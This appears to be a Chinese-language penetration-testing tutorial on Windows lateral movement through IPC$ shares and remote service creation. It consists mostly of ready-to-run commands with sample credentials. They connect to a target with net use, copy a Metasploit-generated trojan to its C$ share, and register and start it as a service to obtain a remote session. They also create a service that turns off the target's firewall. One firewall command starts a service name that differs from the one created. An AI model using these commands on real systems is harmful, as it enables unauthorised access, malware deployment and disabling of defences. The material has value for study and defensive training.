IPC

sechub官方2026-07-31文章来源:SecHub网络安全社区


一、IPC简介

IPC(Internet Process Connection)共享命名管道的资源,是为了实现进程间通信而开放的命名管道,一般是为了方便管理员远程管理而默认开启的共享。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理主机和查看主机的共享及资源时使用,使用139、445端口。

IPC$ 在连接双方建立一条安全的通道,实现对远程计算机的访问。Windows NT/2000/XP提供了IPC功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C,D,E,E……)和系统目录(ADMIN$)共享

通过 ipc$ 标志符号可以与目标机器建立连接,可以利用这个连接访问目标主机的文件来进行上传、下载等操作,还可以在目标主机上运行其他系统命令,以获取目标主机的目录结构、用户列表等信息。

二、利用

利用条件

1、目标机开启了139和445端口

2、目标主机管理员开启了 ipc$ 默认共享

3、知道目标机的账户密码

建立IPC连接

net use \\192.168.0.110\ipc$ "密码" /user:"账户"
注意如果目标为域主机,需要"域名\用户名"的形式填写账户
net use \\192.168.0.110\ipc$ "Qwer1234." /user:"god\administrator"
注:IPC$可以不输入账户密码直接net use \\192.168.0.110\ipc$建立空连接,但没有任何权限

断开连接

net use \\192.168.0.110\ipc$ /del

查看连接是否建立

net use

1.png

一个用户只能使用一个用户名与服务器或共享资源进行连接,即一个用户对应一个连接,未断开当前连接的情况下要用该用户再次创建连接会报错:

C:\Users\admin>net use \\192.168.0.110\ipc$ "Qwer1234." /user:"god\administrator"
发生系统错误 1219。

不允许一个用户使用一个以上用户名与服务器或共享资源的多重连接。中断与此服务器或共享资源的所有连接,然后再试一次。

IPC常见错误代码

5:拒绝访问,可能需要提权

52:网络问题

53:端口未开放,未开机,防火墙拦截

67:本地lanmanworkstation服务未启动,目标删除了ipc$

1219:提供的凭据和已存在的凭据集冲突,说明已经建立ipc$,需要先删除

1326:账号密码错误

1792:目标NetLogon服务未启动

2242:用户密码过期,目标有账号策略,强制定期更改密码

常用命令

列出目标主机文件

简介内中介绍了,目标机共享的逻辑盘与系统目录为 C\D\E、admin 这种形式,所以查看目标机C盘及系统目录admin目录下文件的命令如下:

dir \\192.168.0.110\C$
dir \\192.168.0.110\admin$

2.png

这里的 admin$ 目录即是系统目录,在Win7、Win10中即为C:\Windows—操作系统的主要文件存放的目录。

列出目标机上的进程

tasklist /s 192.168.0.110 /u god\administrator /p Qwer1234.
注意其中的空格,每个值之间都有空格
/s:指要查看的远程系统的IP地址
/u:指定使用哪个用户执行这个远程命令
/p:指定该用户的密码

3.png

上传文件到目标主机

上传MSF生成的木马到目标主机C盘

copy C:\Users\admin\Desktop\who.exe \\192.168.0.110\c$\phpStudy\WWW

4.png

这里MSF设置监听,攻击机Win10执行C:\Users\admin>\\192.168.0.110\c$\phpStudy\WWW\who.exe,然后win10攻击机会被上线,并且删除当前IPC连接仍然不会掉线,大概算是一种比较鸡肋的无文件攻击。

下载文件

下载目标主机文件到本地C盘

copy \\192.168.0.116\c$\phpstudy\1.txt c:\Users\admin\Desktop\

三、利用系统服务SC

使用条件:

1、当前跳板机用户具有管理员权限(因为要创建服务)

2、与目标机器已经建立ipc连接

sc介绍

windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令由service一词(即Service.msc那个Service)简化而来,可以用sc命令对目标主机远程创建服务来进行横向渗透

使用sc命令远程Windows服务操作需先建立IPC$连接,否则在执行时会返回拒绝访问。流程基本如下:

1. 先让跳板机与内网目标机建立ipc连接
net use \\192.168.0.116\ipc$ "Qwer1234." /user:"god\administrator"
2. 然后让跳板机使用copy命令远程操作,将MSF生成的木马文件复制到目标主机磁盘中
copy C:\Users\admin\Desktop\who.exe \\192.168.0.116\c$\phpStudy\WWW\

创建服务

建立了 IPC 连接并将木马文件复制到目标主机后在目标主机创建一个名为 test 的服务

sc \\[主机名/IP] create [servicename] binpath= "[path]"   #创建计划任务启动程序
sc \\192.168.0.116 create test binpath= "C:\phpStudy\WWW\who.exe"

启动服务

立即启动该服务,msf上线,这里过一段时间就会断开

sc \\192.168.0.116 start test

6.png

通过服务关闭防火墙

添加一个功能为关闭防火墙名字叫offfire的服务

sc \\192.168.0.116   create offfire binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.0.116 start unablefirewall

删除服务

使用完删除刚才创建的服务

sc \\[host] delete [servicename]   #删除服务
sc \\192.168.0.116 delete test